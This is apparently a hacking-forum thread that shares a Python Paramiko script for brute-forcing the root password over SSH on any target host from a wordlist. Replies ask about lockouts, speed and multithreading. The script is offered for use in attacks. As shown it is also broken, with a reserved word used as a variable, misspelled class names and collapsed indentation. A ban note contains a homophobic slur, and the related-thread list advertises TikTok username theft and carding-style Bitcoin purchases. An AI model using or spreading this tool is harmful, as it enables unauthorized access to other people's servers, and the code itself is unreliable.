Bruteforce SSH using python
by lolcalhost - Wednesday July 19, 2023 at 04:47 AM
#1
simple script using the Paramiko library to perform SSH password brute-forcing on a target host.

It reads a list of passwords from a file called 'list.txt', and for each password, it attempts to connect to the target host using SSH. If the password is correct, it will print a success message and break out of the loop.


#!/usr/bin/python import paramiko ssh = paramiko.SSHClient() ssh.load_system_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddpolicy()) f = open('list.txt') for word in f.readlines():     pass = word.strip()     try:     ssh.connect('HOST', username='root', password=pass)     except paramiko.ssh_exception.AuthenticationExeption:     print "Trying: ", pass     else:         print "[+] Password Found ------->", pass             break ssh.close()



Gd luck
Reply
#2
nice but sometime u will get blocked from server
Reply
#3
(07-19-2023, 06:29 AM)aristotelesdev Wrote: Thanks for sharing, does this program use a wordlist or try all possible characters from scratch?

from a file called 'list.txt',

(07-19-2023, 06:30 AM)natator Wrote: nice but sometime u will get blocked from server

True Angel
Reply
#4
how many pass/second? 
also why multi-threading is not used?
Reply
#5
(07-19-2023, 04:47 AM)lolcalhost Wrote: simple script using the Paramiko library to perform SSH password brute-forcing on a target host.

It reads a list of passwords from a file called 'list.txt', and for each password, it attempts to connect to the target host using SSH. If the password is correct, it will print a success message and break out of the loop.


#!/usr/bin/python import paramiko ssh = paramiko.SSHClient() ssh.load_system_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddpolicy()) f = open('list.txt') for word in f.readlines():     pass = word.strip()     try:     ssh.connect('HOST', username='root', password=pass)     except paramiko.ssh_exception.AuthenticationExeption:     print "Trying: ", pass     else:         print "[+] Password Found ------->", pass             break ssh.close()



Gd luck

proxies left the chat
Ban reason: Scamming (Pongo is a faggot) (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Python Script To Steal Any TikTok Username bs0d 301 14,633 03-27-2026, 03:56 PM
Last Post: tokon308222
  Python open redirect checker cuteshiny 36 6,842 02-03-2026, 01:10 PM
Last Post: linyibaby
  [Python} Wordpress checker lord_x 155 23,238 02-03-2026, 01:07 PM
Last Post: diegofuckadona
  i need to buy BTC using credit card without otp ---which site should i use mandi 0 202 04-12-2025, 07:49 PM
Last Post: mandi
  Python tip - how to use proxy in exploit code Alegron125 0 216 04-01-2025, 12:55 AM
Last Post: Alegron125



 Users browsing this thread: 1 Guest(s)